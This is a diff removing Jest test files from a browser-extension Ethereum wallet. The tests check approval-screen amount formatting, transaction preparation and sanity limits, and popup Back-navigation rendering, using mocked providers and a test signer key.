|
||||
// the one screen whose job is to state what is being authorized, a nonzero
|
||||
// transfer or allowance then reads as nothing.
|
||||
//
|
||||
// The invariant asserted here is narrow: a nonzero amount never renders as
|
||||
// zero. The four-decimal rule itself is unchanged, and the string the
|
||||
// confirmation screens carry as `txInfo.amount` is the same one, so it is
|
||||
// asserted on `rawValue` alongside the displayed line.
|
||||
//
|
||||
// Both amount paths of that screen are covered: the ERC-20 line decoded by
|
||||
// `src/popup/views/approval.js`, and the swap's `Amount` and `Min. received`
|
||||
// lines decoded by `src/shared/uniswap.js`.
|
||||
|
||||
globalThis.chrome = {
|
||||
storage: { local: { get: async () => ({}), set: async () => {} } },
|
||||
};
|
||||
|
||||
const { AbiCoder, Interface } = require("ethers");
|
||||
const { ERC20_ABI } = require("../src/shared/constants");
|
||||
const { state } = require("../src/shared/state");
|
||||
const { decodeCalldata } = require("../src/popup/views/approval");
|
||||
const uniswap = require("../src/shared/uniswap");
|
||||
const {
|
||||
truncateAmount,
|
||||
truncateAmountNeverZero,
|
||||
} = require("../src/shared/amountDisplay");
|
||||
|
||||
const iface = new Interface(ERC20_ABI);
|
||||
|
||||
// Bundled tokens, so the scale and the symbol both come from the list.
|
||||
const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"; // 6 decimals
|
||||
const WBT = "0x925206b8a707096Ed26ae47C84747fE0bb734F59"; // 8 decimals
|
||||
const DAI = "0x6B175474E89094C44Da98b954EedeAC495271d0F"; // 18 decimals
|
||||
// Outside the list, so the scale comes from what the user tracks and the line
|
||||
// carries no symbol.
|
||||
const NOVEL = "0xE2E0000000000000000000000000000000000E2e";
|
||||
|
||||
const RECIPIENT = "0xC0FfEE0000000000000000000000000000c0fFEe";
|
||||
const SPENDER = "0x1111111111111111111111111111111111111111";
|
||||
|
||||
// The Uniswap swap lines land on this same approval screen.
|
||||
const ROUTER = "0x66a9893cc07d91d95644aedd05d03f95e1dba8af";
|
||||
const USDT = "0xdAC17F958D2ee523a2206206994597C13D831ec7"; // 6 decimals
|
||||
const WETH = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"; // 18 decimals
|
||||
|
||||
const coder = AbiCoder.defaultAbiCoder();
|
||||
const routerIface = new Interface([
|
||||
"function execute(bytes commands, bytes[] inputs, uint256 deadline)",
|
||||
]);
|
||||
|
||||
// A V2_SWAP_EXACT_IN (command 0x08) execute() call: `amountIn` of USDT for at
|
||||
// least `amountOutMin` of WETH.
|
||||
function swapData(amountIn, amountOutMin) {
|
||||
const input = coder.encode(
|
||||
["address", "uint256", "uint256", "address[]", "bool"],
|
||||
[RECIPIENT, amountIn, amountOutMin, [USDT, WETH], true],
|
||||
);
|
||||
return routerIface.encodeFunctionData("execute", [
|
||||
"0x08",
|
||||
[input],
|
||||
9999999999n,
|
||||
]);
|
||||
}
|
||||
|
||||
function swapDetail(amountIn, amountOutMin, label) {
|
||||
const decoded = uniswap.decode(swapData(amountIn, amountOutMin), ROUTER);
|
||||
return decoded.details.find((d) => d.label === label);
|
||||
}
|
||||
|
||||
function transferData(amount) {
|
||||
return iface.encodeFunctionData("transfer", [RECIPIENT, amount]);
|
||||
}
|
||||
|
||||
function approveData(amount) {
|
||||
return iface.encodeFunctionData("approve", [SPENDER, amount]);
|
||||
}
|
||||
|
||||
// The Amount detail as the approval screen renders it: `value` is the line on
|
||||
// the screen, `rawValue` is what is carried to the wait/success/error screens.
|
||||
function amount(data, token) {
|
||||
const decoded = decodeCalldata(data, token);
|
||||
return decoded.details.find((d) => d.label === "Amount");
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
state.trackedTokens = [];
|
||||
state.wallets = [];
|
||||
});
|
||||
|
||||
describe("a nonzero amount never renders as zero", () => {
|
||||
test("500 base units of a 6-decimal token", () => {
|
||||
const detail = amount(transferData(500n), USDC);
|
||||
expect(detail.value).toBe("0.0005 USDC");
|
||||
expect(detail.rawValue).toBe("0.0005");
|
||||
});
|
||||
|
||||
test("1 base unit of an 18-decimal token", () => {
|
||||
const detail = amount(transferData(1n), DAI);
|
||||
expect(detail.value).toBe("0.000000000000000001 DAI");
|
||||
expect(detail.rawValue).toBe("0.000000000000000001");
|
||||
});
|
||||
|
||||
test("500 base units of an 8-decimal token", () => {
|
||||
expect(amount(transferData(500n), WBT).rawValue).toBe("0.000005");
|
||||
});
|
||||
|
||||
test("an allowance below the floor is not rendered as zero either", () => {
|
||||
expect(amount(approveData(1n), DAI).value).toBe(
|
||||
"0.000000000000000001 DAI",
|
||||
);
|
||||
});
|
||||
|
||||
// The floor holds at any scale, not only the three above: for every
|
||||
// decimals a token can declare, one base unit has to show a digit.
|
||||
test("one base unit shows a significant digit at every scale", () => {
|
||||
for (let decimals = 0; decimals <= 30; decimals++) {
|
||||
state.trackedTokens = [{ address: NOVEL, decimals }];
|
||||
expect(amount(transferData(1n), NOVEL).rawValue).toMatch(/[1-9]/);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// The swap decoder formats its own amounts, so the same floor has to hold on
|
||||
// the swap lines of the same screen. `Min. received` is the sharper of the
|
||||
// two: the slippage floor rendered as `0.0000` states that the swap may return
|
||||
// nothing.
|
||||
describe("a swap's amounts never render as zero either", () => {
|
||||
test("a swap input below the floor keeps a significant digit", () => {
|
||||
// 50 base units of a 6-decimal token is 0.00005.
|
||||
const detail = swapDetail(50n, 10n ** 15n, "Amount");
|
||||
expect(detail.value).toBe("0.00005 USDT");
|
||||
expect(detail.rawValue).toBe("0.00005");
|
||||
});
|
||||
|
||||
test("a min-received below the floor keeps a significant digit", () => {
|
||||
// 1 wei of an 18-decimal token.
|
||||
expect(swapDetail(10n ** 6n, 1n, "Min. received").value).toBe(
|
||||
"0.000000000000000001 WETH",
|
||||
);
|
||||
});
|
||||
|
||||
test("swap amounts at or above the floor are still truncated", () => {
|
||||
expect(swapDetail(1000000n, 10n ** 15n, "Amount").rawValue).toBe(
|
||||
"1.0000",
|
||||
);
|
||||
expect(
|
||||
swapDetail(1000000n, 999999999999999999n, "Min. received").value,
|
||||
).toBe("0.9999 WETH");
|
||||
});
|
||||
});
|
||||
|
||||
describe("the four-decimal rule is otherwise unchanged", () => {
|
||||
test("a whole amount keeps exactly four decimals", () => {
|
||||
expect(amount(transferData(5000000000n), USDC).rawValue).toBe(
|
||||
"5000.0000",
|
||||
);
|
||||
});
|
||||
|
||||
test("precision beyond four decimals is still truncated", () => {
|
||||
expect(amount(transferData(1234567890123456789n), DAI).rawValue).toBe(
|
||||
"1.2345",
|
||||
);
|
||||
});
|
||||
|
||||
test("an amount at the floor is not extended", () => {
|
||||
expect(amount(transferData(100000000000000n), DAI).rawValue).toBe(
|
||||
"0.0001",
|
||||
);
|
||||
});
|
||||
|
||||
test("a genuine zero still renders as zero", () => {
|
||||
expect(amount(transferData(0n), DAI).rawValue).toBe("0.0000");
|
||||
});
|
||||
|
||||
// The three truncators now share one module. The floor is a policy of the
|
||||
// approval and confirmation screens only: the history and balance lists
|
||||
// keep plain truncation, because the transaction detail view is the
|
||||
// authoritative record and already shows exact precision.
|
||||
test("the list rule stays unfloored", () => {
|
||||
expect(truncateAmount("0.000000000000000001")).toBe("0.0000");
|
||||
expect(truncateAmountNeverZero("0.000000000000000001")).toBe(
|
||||
"0.000000000000000001",
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -1,309 +0,0 @@
|
||||
// Preparation of the transaction the approval screen displays.
|
||||
//
|
||||
// This is the half of the fix that makes the verification in
|
||||
// approvalVerify.test.js mean anything: the numbers the user reads have to be
|
||||
// produced before the screen is drawn and be the numbers that get signed. What
|
||||
// is asserted here is that the object leaving this module is complete (nothing
|
||||
// is left for the popup to fill in), that it survives the messaging boundary
|
||||
// (extension messaging is JSON, which has no bigint), and that nothing the
|
||||
// requesting page or the RPC node can say turns it into an approval that
|
||||
// should never have been raised.
|
||||
|
||||
const { Network, Wallet } = require("ethers");
|
||||
const {
|
||||
prepareApprovalTx,
|
||||
serializeApprovedTx,
|
||||
POPULATE_TIMEOUT_MS,
|
||||
} = require("../src/shared/approvalTx");
|
||||
const {
|
||||
SERIALIZED_FIELDS,
|
||||
MAX_FEE_PER_GAS,
|
||||
MAX_GAS_LIMIT,
|
||||
} = require("../src/shared/approvalVerify");
|
||||
|
||||
const SIGNER_KEY =
|
||||
"0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
|
||||
const signer = new Wallet(SIGNER_KEY);
|
||||
const RECIPIENT = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
|
||||
|
||||
// The ordinary dApp request: recipient, value, call data, and nothing else.
|
||||
const TX_PARAMS = {
|
||||
from: signer.address,
|
||||
to: RECIPIENT,
|
||||
value: "0x2386f26fc10000",
|
||||
data: "0xdeadbeef",
|
||||
};
|
||||
|
||||
function providerWith(overrides) {
|
||||
return {
|
||||
getNetwork: async () => Network.from(1),
|
||||
getTransactionCount: async () => 7,
|
||||
estimateGas: async () => 21000n,
|
||||
getFeeData: async () => ({
|
||||
gasPrice: 2000000000n,
|
||||
maxFeePerGas: 2000000000n,
|
||||
maxPriorityFeePerGas: 1000000000n,
|
||||
}),
|
||||
...(overrides || {}),
|
||||
};
|
||||
}
|
||||
|
||||
// A node that only quotes a flat gas price, so populateTransaction produces a
|
||||
// legacy transaction rather than an EIP-1559 one.
|
||||
const legacyProvider = providerWith({
|
||||
getFeeData: async () => ({
|
||||
gasPrice: 2000000000n,
|
||||
maxFeePerGas: null,
|
||||
maxPriorityFeePerGas: null,
|
||||
}),
|
||||
});
|
||||
|
||||
describe("prepareApprovalTx", () => {
|
||||
test("fills in everything the request left out", async () => {
|
||||
const approved = await prepareApprovalTx(
|
||||
providerWith(),
|
||||
signer.address,
|
||||
TX_PARAMS,
|
||||
);
|
||||
expect(approved).toEqual({
|
||||
type: 2,
|
||||
from: signer.address,
|
||||
chainId: "0x1",
|
||||
nonce: "0x7",
|
||||
gasLimit: "0x5208",
|
||||
maxPriorityFeePerGas: "0x3b9aca00",
|
||||
maxFeePerGas: "0x77359400",
|
||||
to: RECIPIENT,
|
||||
value: TX_PARAMS.value,
|
||||
data: TX_PARAMS.data,
|
||||
accessList: [],
|
||||
});
|
||||
});
|
||||
|
||||
// The object is displayed, signed and verified against on the far side of
|
||||
// chrome.runtime.sendMessage, which is JSON: a bigint would throw on the
|
||||
// way out and a field that did not survive the trip would be a field the
|
||||
// user was shown and nothing compared.
|
||||
test("survives the messaging boundary unchanged", async () => {
|
||||
const approved = await prepareApprovalTx(
|
||||
providerWith(),
|
||||
signer.address,
|
||||
TX_PARAMS,
|
||||
);
|
||||
expect(JSON.parse(JSON.stringify(approved))).toEqual(approved);
|
||||
for (const value of Object.values(approved)) {
|
||||
expect(typeof value).not.toBe("bigint");
|
||||
}
|
||||
});
|
||||
|
||||
test("carries exactly the fields its type serializes, and the signer", async () => {
|
||||
const approved = await prepareApprovalTx(
|
||||
providerWith(),
|
||||
signer.address,
|
||||
TX_PARAMS,
|
||||
);
|
||||
expect(Object.keys(approved).sort()).toEqual(
|
||||
["type", "from", ...SERIALIZED_FIELDS[2]].sort(),
|
||||
);
|
||||
});
|
||||
|
||||
test("produces a legacy transaction when that is all the node quotes", async () => {
|
||||
const approved = await prepareApprovalTx(
|
||||
legacyProvider,
|
||||
signer.address,
|
||||
TX_PARAMS,
|
||||
);
|
||||
expect(approved.type).toBe(0);
|
||||
expect(approved.gasPrice).toBe("0x77359400");
|
||||
expect(approved.maxFeePerGas).toBeUndefined();
|
||||
expect(Object.keys(approved).sort()).toEqual(
|
||||
["type", "from", ...SERIALIZED_FIELDS[0]].sort(),
|
||||
);
|
||||
});
|
||||
|
||||
test("keeps a nonce, gas limit and fee the request did fix", async () => {
|
||||
const approved = await prepareApprovalTx(
|
||||
providerWith(),
|
||||
signer.address,
|
||||
{
|
||||
...TX_PARAMS,
|
||||
nonce: "0x2",
|
||||
gasLimit: "0x30d40",
|
||||
maxFeePerGas: "0x12a05f200",
|
||||
maxPriorityFeePerGas: "0x3b9aca00",
|
||||
},
|
||||
);
|
||||
expect(approved.nonce).toBe("0x2");
|
||||
expect(approved.gasLimit).toBe("0x30d40");
|
||||
expect(approved.maxFeePerGas).toBe("0x12a05f200");
|
||||
});
|
||||
|
||||
test("carries an access list the request asked for", async () => {
|
||||
const approved = await prepareApprovalTx(
|
||||
providerWith(),
|
||||
signer.address,
|
||||
{
|
||||
...TX_PARAMS,
|
||||
accessList: [{ address: RECIPIENT, storageKeys: [] }],
|
||||
},
|
||||
);
|
||||
expect(approved.accessList).toEqual([
|
||||
{ address: RECIPIENT, storageKeys: [] },
|
||||
]);
|
||||
});
|
||||
|
||||
// The request is page-controlled. Anything this wallet does not act on is
|
||||
// dropped before ethers sees it, so a field a future ethers learns to
|
||||
// carry cannot be picked up out of it without this module knowing.
|
||||
test("drops request fields this wallet does not act on", async () => {
|
||||
const approved = await prepareApprovalTx(
|
||||
providerWith(),
|
||||
signer.address,
|
||||
{
|
||||
...TX_PARAMS,
|
||||
authorizationList: [{ address: RECIPIENT }],
|
||||
blobVersionedHashes: ["0x01" + "ab".repeat(31)],
|
||||
customData: { anything: true },
|
||||
},
|
||||
);
|
||||
expect(approved.authorizationList).toBeUndefined();
|
||||
expect(approved.blobVersionedHashes).toBeUndefined();
|
||||
expect(approved.customData).toBeUndefined();
|
||||
expect(approved.type).toBe(2);
|
||||
});
|
||||
|
||||
test("refuses a transaction type this wallet does not sign", async () => {
|
||||
await expect(
|
||||
prepareApprovalTx(providerWith(), signer.address, {
|
||||
...TX_PARAMS,
|
||||
type: 4,
|
||||
}),
|
||||
).rejects.toThrow(/type this wallet does not sign/);
|
||||
});
|
||||
|
||||
test("refuses to raise an approval with no active address", async () => {
|
||||
await expect(
|
||||
prepareApprovalTx(providerWith(), null, TX_PARAMS),
|
||||
).rejects.toThrow(/no active address/);
|
||||
});
|
||||
|
||||
// The ceilings as a backstop: equality with the screen cannot bound what
|
||||
// the node talks the wallet into putting on the screen, so it is refused
|
||||
// before the user is shown anything.
|
||||
test("refuses a fee the node quoted above the ceiling", async () => {
|
||||
const gouging = providerWith({
|
||||
getFeeData: async () => ({
|
||||
gasPrice: MAX_FEE_PER_GAS + 1n,
|
||||
maxFeePerGas: MAX_FEE_PER_GAS + 1n,
|
||||
maxPriorityFeePerGas: 1000000000n,
|
||||
}),
|
||||
});
|
||||
await expect(
|
||||
prepareApprovalTx(gouging, signer.address, TX_PARAMS),
|
||||
).rejects.toThrow(/fee per gas far above any plausible value/);
|
||||
});
|
||||
|
||||
test("refuses a gas limit the node estimated above the ceiling", async () => {
|
||||
const absurd = providerWith({
|
||||
estimateGas: async () => MAX_GAS_LIMIT + 1n,
|
||||
});
|
||||
await expect(
|
||||
prepareApprovalTx(absurd, signer.address, TX_PARAMS),
|
||||
).rejects.toThrow(/gas limit no network this wallet supports/);
|
||||
});
|
||||
|
||||
// No approval and no window: the failure goes back to the page the click
|
||||
// came from, in a sentence.
|
||||
test("reports a failed estimate as a full sentence", async () => {
|
||||
const reverting = providerWith({
|
||||
estimateGas: async () => {
|
||||
throw new Error("execution reverted: ERC20: transfer amount");
|
||||
},
|
||||
});
|
||||
let thrown;
|
||||
try {
|
||||
await prepareApprovalTx(reverting, signer.address, TX_PARAMS);
|
||||
} catch (e) {
|
||||
thrown = e;
|
||||
}
|
||||
expect(thrown.message).toMatch(
|
||||
/^The transaction could not be prepared/,
|
||||
);
|
||||
expect(thrown.message).toMatch(/execution reverted/);
|
||||
expect(thrown.message).toMatch(/^[A-Z].*\.$/);
|
||||
});
|
||||
|
||||
// Without a bound, an unreachable node leaves the page's promise pending
|
||||
// with nothing on screen to explain it.
|
||||
test("gives up on a node that never answers", async () => {
|
||||
jest.useFakeTimers();
|
||||
try {
|
||||
const hanging = providerWith({
|
||||
estimateGas: () => new Promise(() => {}),
|
||||
});
|
||||
const pending = prepareApprovalTx(
|
||||
hanging,
|
||||
signer.address,
|
||||
TX_PARAMS,
|
||||
);
|
||||
const settled = expect(pending).rejects.toThrow(
|
||||
/did not answer in time/,
|
||||
);
|
||||
await jest.advanceTimersByTimeAsync(POPULATE_TIMEOUT_MS + 1);
|
||||
await settled;
|
||||
} finally {
|
||||
jest.useRealTimers();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("serializeApprovedTx", () => {
|
||||
// Unreachable through prepareApprovalTx while the request type is checked
|
||||
// first, which is what it is for: a node or an ethers upgrade that
|
||||
// populates a type this wallet does not sign must not produce an approval.
|
||||
test("refuses a populated transaction of a type this wallet does not sign", () => {
|
||||
expect(() =>
|
||||
serializeApprovedTx(
|
||||
{ type: 3, to: RECIPIENT, nonce: 7 },
|
||||
signer.address,
|
||||
),
|
||||
).toThrow(/type this wallet does not sign/);
|
||||
});
|
||||
|
||||
test("refuses a populated transaction missing a quantity", () => {
|
||||
expect(() =>
|
||||
serializeApprovedTx(
|
||||
{
|
||||
type: 2,
|
||||
chainId: 1n,
|
||||
nonce: 7,
|
||||
gasLimit: 21000n,
|
||||
maxFeePerGas: 2000000000n,
|
||||
to: RECIPIENT,
|
||||
value: 0n,
|
||||
data: "0x",
|
||||
},
|
||||
signer.address,
|
||||
),
|
||||
).toThrow(/did not supply a maxPriorityFeePerGas/);
|
||||
});
|
||||
|
||||
test("keeps a contract creation's absent recipient absent", () => {
|
||||
const approved = serializeApprovedTx(
|
||||
{
|
||||
type: 0,
|
||||
chainId: 1n,
|
||||
nonce: 7,
|
||||
gasPrice: 2000000000n,
|
||||
gasLimit: 21000n,
|
||||
to: null,
|
||||
value: 0n,
|
||||
data: "0x600160005500",
|
||||
},
|
||||
signer.address,
|
||||
);
|
||||
expect(approved.to).toBeNull();
|
||||
expect(approved.value).toBe("0x0");
|
||||
expect(approved.data).toBe("0x600160005500");
|
||||
});
|
||||
});
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,336 +0,0 @@
|
||||
// Back after reopening the popup (#268).
|
||||
//
|
||||
// A reopened popup renders the wallet list and the one view it restores
|
||||
// onto; every other view is still the blank static template from
|
||||
// index.html. goBack() used to only unhide its target, so Back landed on
|
||||
// that blank template for any view the popup had not rendered in this page
|
||||
// load. These tests drive the real goBack() with the real router wired to
|
||||
// recording view modules, so what is asserted is which view render ran —
|
||||
// the thing that was missing.
|
||||
//
|
||||
// The rendering itself is asserted against the real popup in a real
|
||||
// browser by tests/e2e/run.js; here the DOM is a stub, because goBack()
|
||||
// only needs showView() to work.
|
||||
|
||||
const els = new Map();
|
||||
|
||||
function fakeEl() {
|
||||
return {
|
||||
textContent: "",
|
||||
innerHTML: "",
|
||||
classList: {
|
||||
toggle() {},
|
||||
add() {},
|
||||
remove() {},
|
||||
contains: () => false,
|
||||
},
|
||||
remove() {},
|
||||
};
|
||||
}
|
||||
|
||||
globalThis.document = {
|
||||
getElementById(id) {
|
||||
if (!els.has(id)) els.set(id, fakeEl());
|
||||
return els.get(id);
|
||||
},
|
||||
};
|
||||
|
||||
// helpers.js pulls in state.js, which reads chrome.storage.local at load.
|
||||
globalThis.chrome = {
|
||||
storage: { local: { get: async () => ({}), set: async () => {} } },
|
||||
};
|
||||
|
||||
const {
|
||||
showView,
|
||||
goBack,
|
||||
setBackRenderer,
|
||||
pushCurrentView,
|
||||
} = require("../src/popup/views/helpers");
|
||||
const {
|
||||
makeBackRenderer,
|
||||
markViewRendered,
|
||||
resetRenderedViews,
|
||||
} = require("../src/popup/viewRouter");
|
||||
const { state } = require("../src/shared/state");
|
||||
|
||||
const ADDRESS = "0x1111111111111111111111111111111111111111";
|
||||
const TOKEN = "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48";
|
||||
|
||||
let calls;
|
||||
|
||||
// Stand-ins for the view modules. Each records itself and then shows its
|
||||
// view, which is what every real view render ends with — so the assertions
|
||||
// can tell "rendered and shown" apart from "merely unhidden".
|
||||
function recorder(name, view) {
|
||||
return () => {
|
||||
calls.push(name);
|
||||
showView(view);
|
||||
};
|
||||
}
|
||||
|
||||
function makeViews() {
|
||||
return {
|
||||
main: { show: recorder("main", "main") },
|
||||
addressDetail: { show: recorder("addressDetail", "address") },
|
||||
addressToken: { show: recorder("addressToken", "address-token") },
|
||||
receive: { show: recorder("receive", "receive") },
|
||||
settings: { show: recorder("settings", "settings") },
|
||||
settingsAddToken: {
|
||||
show: recorder("settingsAddToken", "settings-addtoken"),
|
||||
},
|
||||
confirmTx: { restore: recorder("confirmTx", "confirm-tx") },
|
||||
transactionDetail: {
|
||||
render: recorder("transactionDetail", "transaction"),
|
||||
},
|
||||
txStatus: {
|
||||
restoreWait: () => {
|
||||
calls.push("waitTx");
|
||||
showView("wait-tx");
|
||||
return true;
|
||||
},
|
||||
renderSuccess: recorder("successTx", "success-tx"),
|
||||
renderError: recorder("errorTx", "error-tx"),
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
// The popup as it stands just after a reopen: one wallet with one address,
|
||||
// the view the popup restored onto, and the stack behind it.
|
||||
//
|
||||
// A reopen is a fresh page load, so the record of what has been rendered
|
||||
// starts empty — that emptiness is what makes the Back path render at all.
|
||||
// Returns the view modules so a test can drive forward navigation through
|
||||
// the same recorders the router renders through.
|
||||
function reopenedOn(view, stack, extra) {
|
||||
calls = [];
|
||||
resetRenderedViews();
|
||||
state.wallets = [
|
||||
{
|
||||
name: "Wallet 1",
|
||||
addresses: [{ address: ADDRESS, balance: "0", tokenBalances: [] }],
|
||||
},
|
||||
];
|
||||
state.selectedWallet = 0;
|
||||
state.selectedAddress = 0;
|
||||
state.selectedToken = null;
|
||||
state.viewData = null;
|
||||
state.currentView = view;
|
||||
state.viewStack = stack.slice();
|
||||
Object.assign(state, extra || {});
|
||||
// Restoring onto a view renders it, so the reopened popup has that one
|
||||
// view on the page and nothing else.
|
||||
markViewRendered(view);
|
||||
const views = makeViews();
|
||||
setBackRenderer(makeBackRenderer(state, views));
|
||||
return views;
|
||||
}
|
||||
|
||||
// The reproduction from the issue, step for step.
|
||||
describe("Back onto a view the reopened popup never rendered", () => {
|
||||
test("Back from settings renders the address detail underneath", () => {
|
||||
reopenedOn("settings", ["main", "address"]);
|
||||
goBack();
|
||||
expect(calls).toEqual(["addressDetail"]);
|
||||
expect(state.currentView).toBe("address");
|
||||
expect(state.viewStack).toEqual(["main"]);
|
||||
});
|
||||
|
||||
test("Back onto the token detail renders it", () => {
|
||||
reopenedOn("settings", ["main", "address", "address-token"], {
|
||||
selectedToken: TOKEN,
|
||||
});
|
||||
goBack();
|
||||
expect(calls).toEqual(["addressToken"]);
|
||||
expect(state.currentView).toBe("address-token");
|
||||
});
|
||||
|
||||
test("Back onto Receive renders it", () => {
|
||||
reopenedOn("settings", ["main", "address", "receive"]);
|
||||
goBack();
|
||||
expect(calls).toEqual(["receive"]);
|
||||
expect(state.currentView).toBe("receive");
|
||||
});
|
||||
|
||||
test("Back onto the transaction detail renders it", () => {
|
||||
reopenedOn("settings", ["main", "transaction"], {
|
||||
viewData: { tx: { hash: "0xdead", from: ADDRESS, to: ADDRESS } },
|
||||
});
|
||||
goBack();
|
||||
expect(calls).toEqual(["transactionDetail"]);
|
||||
expect(state.currentView).toBe("transaction");
|
||||
});
|
||||
|
||||
test("Back onto the transaction confirmation restores it", () => {
|
||||
reopenedOn("settings", ["main", "confirm-tx"], {
|
||||
viewData: {
|
||||
pendingTx: {
|
||||
token: "ETH",
|
||||
from: ADDRESS,
|
||||
to: ADDRESS,
|
||||
amount: "1",
|
||||
},
|
||||
},
|
||||
});
|
||||
goBack();
|
||||
expect(calls).toEqual(["confirmTx"]);
|
||||
expect(state.currentView).toBe("confirm-tx");
|
||||
});
|
||||
|
||||
test("Back onto the success screen renders it", () => {
|
||||
reopenedOn("settings", ["main", "success-tx"], {
|
||||
viewData: { hash: "0xdead", to: ADDRESS },
|
||||
});
|
||||
goBack();
|
||||
expect(calls).toEqual(["successTx"]);
|
||||
expect(state.currentView).toBe("success-tx");
|
||||
});
|
||||
|
||||
test("Back onto the failure screen renders it", () => {
|
||||
reopenedOn("settings", ["main", "error-tx"], {
|
||||
viewData: { message: "execution reverted", to: ADDRESS },
|
||||
});
|
||||
goBack();
|
||||
expect(calls).toEqual(["errorTx"]);
|
||||
expect(state.currentView).toBe("error-tx");
|
||||
});
|
||||
|
||||
test("Back onto Home renders the wallet list", () => {
|
||||
reopenedOn("settings", ["main"]);
|
||||
goBack();
|
||||
expect(calls).toEqual(["main"]);
|
||||
expect(state.currentView).toBe("main");
|
||||
});
|
||||
|
||||
test("Back with an empty stack renders Home", () => {
|
||||
reopenedOn("settings", []);
|
||||
goBack();
|
||||
expect(calls).toEqual(["main"]);
|
||||
expect(state.currentView).toBe("main");
|
||||
});
|
||||
});
|
||||
|
||||
// The guards are restoreView()'s, so a popped view whose backing data is
|
||||
// gone lands on Home rather than on an empty template.
|
||||
describe("Back onto a view whose backing data is gone", () => {
|
||||
test("the token detail with no token selected falls back to Home", () => {
|
||||
reopenedOn("settings", ["main", "address-token"]);
|
||||
goBack();
|
||||
expect(calls).toEqual(["main"]);
|
||||
expect(state.currentView).toBe("main");
|
||||
});
|
||||
|
||||
test("the transaction detail with no transaction falls back to Home", () => {
|
||||
reopenedOn("settings", ["main", "transaction"]);
|
||||
goBack();
|
||||
expect(calls).toEqual(["main"]);
|
||||
expect(state.currentView).toBe("main");
|
||||
});
|
||||
|
||||
test("the confirmation with no pending transaction falls back to Home", () => {
|
||||
reopenedOn("settings", ["main", "confirm-tx"]);
|
||||
goBack();
|
||||
expect(calls).toEqual(["main"]);
|
||||
expect(state.currentView).toBe("main");
|
||||
});
|
||||
|
||||
test("an address view with no address selected falls back to Home", () => {
|
||||
reopenedOn("settings", ["main", "receive"], {
|
||||
selectedAddress: null,
|
||||
});
|
||||
goBack();
|
||||
expect(calls).toEqual(["main"]);
|
||||
expect(state.currentView).toBe("main");
|
||||
});
|
||||
|
||||
test("the success screen with no transaction hash falls back to Home", () => {
|
||||
reopenedOn("settings", ["main", "success-tx"]);
|
||||
goBack();
|
||||
expect(calls).toEqual(["main"]);
|
||||
expect(state.currentView).toBe("main");
|
||||
});
|
||||
|
||||
test("the failure screen with no message falls back to Home", () => {
|
||||
reopenedOn("settings", ["main", "error-tx"]);
|
||||
goBack();
|
||||
expect(calls).toEqual(["main"]);
|
||||
expect(state.currentView).toBe("main");
|
||||
});
|
||||
|
||||
test("a wait that can no longer be resumed falls back to Home", () => {
|
||||
reopenedOn("settings", ["main", "wait-tx"]);
|
||||
const views = makeViews();
|
||||
views.txStatus.restoreWait = () => false;
|
||||
setBackRenderer(makeBackRenderer(state, views));
|
||||
goBack();
|
||||
expect(calls).toEqual(["main"]);
|
||||
expect(state.currentView).toBe("main");
|
||||
});
|
||||
});
|
||||
|
||||
// Forward navigation renders as it goes, and a second render would re-fetch
|
||||
// and clobber whatever the view holds — an unsaved edit, a request in
|
||||
// flight. So the Back path renders only a view this page load has never
|
||||
// rendered, and merely unhides every other one: the views it does not
|
||||
// render from persisted state, and the views already on the page.
|
||||
describe("what the Back path leaves alone", () => {
|
||||
test("forward navigation renders nothing by itself", () => {
|
||||
reopenedOn("address", ["main"]);
|
||||
pushCurrentView();
|
||||
showView("send");
|
||||
expect(calls).toEqual([]);
|
||||
expect(state.viewStack).toEqual(["main", "address"]);
|
||||
});
|
||||
|
||||
test("Back onto a live-session view only unhides it", () => {
|
||||
reopenedOn("confirm-tx", ["main", "address", "send"]);
|
||||
goBack();
|
||||
expect(calls).toEqual([]);
|
||||
expect(state.currentView).toBe("send");
|
||||
});
|
||||
|
||||
test("Back renders its target exactly once", () => {
|
||||
reopenedOn("settings", ["main", "address"]);
|
||||
goBack();
|
||||
expect(calls.filter((c) => c === "addressDetail")).toHaveLength(1);
|
||||
});
|
||||
|
||||
test("Back onto a view this page load already rendered only unhides it", () => {
|
||||
const views = reopenedOn("main", []);
|
||||
pushCurrentView();
|
||||
views.addressDetail.show();
|
||||
pushCurrentView();
|
||||
views.settings.show();
|
||||
calls = [];
|
||||
goBack();
|
||||
expect(calls).toEqual([]);
|
||||
expect(state.currentView).toBe("address");
|
||||
});
|
||||
|
||||
// The unit mirror of the regression the browser suite pins: Settings
|
||||
// reassigns its fields from persisted state on every render, so a
|
||||
// re-render on the way back discards an edit the user has not saved.
|
||||
test("Back onto Settings visited earlier in this page load does not re-render it", () => {
|
||||
const views = reopenedOn("main", []);
|
||||
pushCurrentView();
|
||||
views.settings.show();
|
||||
pushCurrentView();
|
||||
views.settingsAddToken.show();
|
||||
calls = [];
|
||||
goBack();
|
||||
expect(calls).toEqual([]);
|
||||
expect(state.currentView).toBe("settings");
|
||||
});
|
||||
|
||||
// Home is the deliberate exception, unchanged from the popup's
|
||||
// behaviour before the router existed: it re-renders on every Back so
|
||||
// the wallet list reflects what changed while the user was away.
|
||||
test("Back onto Home renders it again even when it is already on the page", () => {
|
||||
const views = reopenedOn("main", []);
|
||||
pushCurrentView();
|
||||
views.addressDetail.show();
|
||||
calls = [];
|
||||
goBack();
|
||||
expect(calls).toEqual(["main"]);
|
||||
expect(state.currentView).toBe("main");
|
||||
});
|
||||
});
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,398 +0,0 @@
|
||||
// What one background handler's state can do to another's while both are in
|
||||
// flight.
|
||||
//
|
||||
// The background used to read and write the module-level `state` singleton in
|
||||
// src/shared/state.js — one object, shared by every handler in the worker,
|
||||
// replaced wholesale by any loadState(). Two consequences, both covered here
|
||||
// and both from https://git.eeqj.de/sneak/AutistMask/issues/324:
|
||||
//
|
||||
// - A transaction attempt captured the chain id at its loadState() and then
|
||||
// read the ENDPOINT off the singleton several awaits later. A chain switch
|
||||
// committed in that window moved the endpoint under an artifact already
|
||||
